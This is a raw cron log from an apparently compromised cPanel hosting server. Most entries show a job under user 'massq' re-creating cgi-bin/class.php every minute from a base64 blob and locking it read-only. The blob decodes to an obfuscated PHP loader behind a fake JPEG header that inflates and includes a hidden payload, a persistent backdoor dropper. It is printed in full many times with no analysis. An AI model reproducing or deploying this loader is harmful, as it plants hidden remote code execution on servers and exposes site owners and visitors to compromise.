Nov 15 00:44:01 server CROND[19636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:45:01 server CROND[19912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:45:01 server CROND[19913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:45:01 server CROND[19916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:46:01 server CROND[20226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:47:01 server CROND[20493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:48:01 server CROND[20742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:49:01 server CROND[21098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:50:01 server CROND[21379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:50:01 server CROND[21380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 00:50:01 server CROND[21383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 00:50:01 server CROND[21384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:50:01 server CROND[21387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:51:01 server CROND[21703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:52:01 server CROND[21961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:53:01 server CROND[22234]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:54:01 server CROND[22599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:55:01 server CROND[22883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:55:01 server CROND[22884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:55:01 server CROND[22885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:56:01 server CROND[23201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
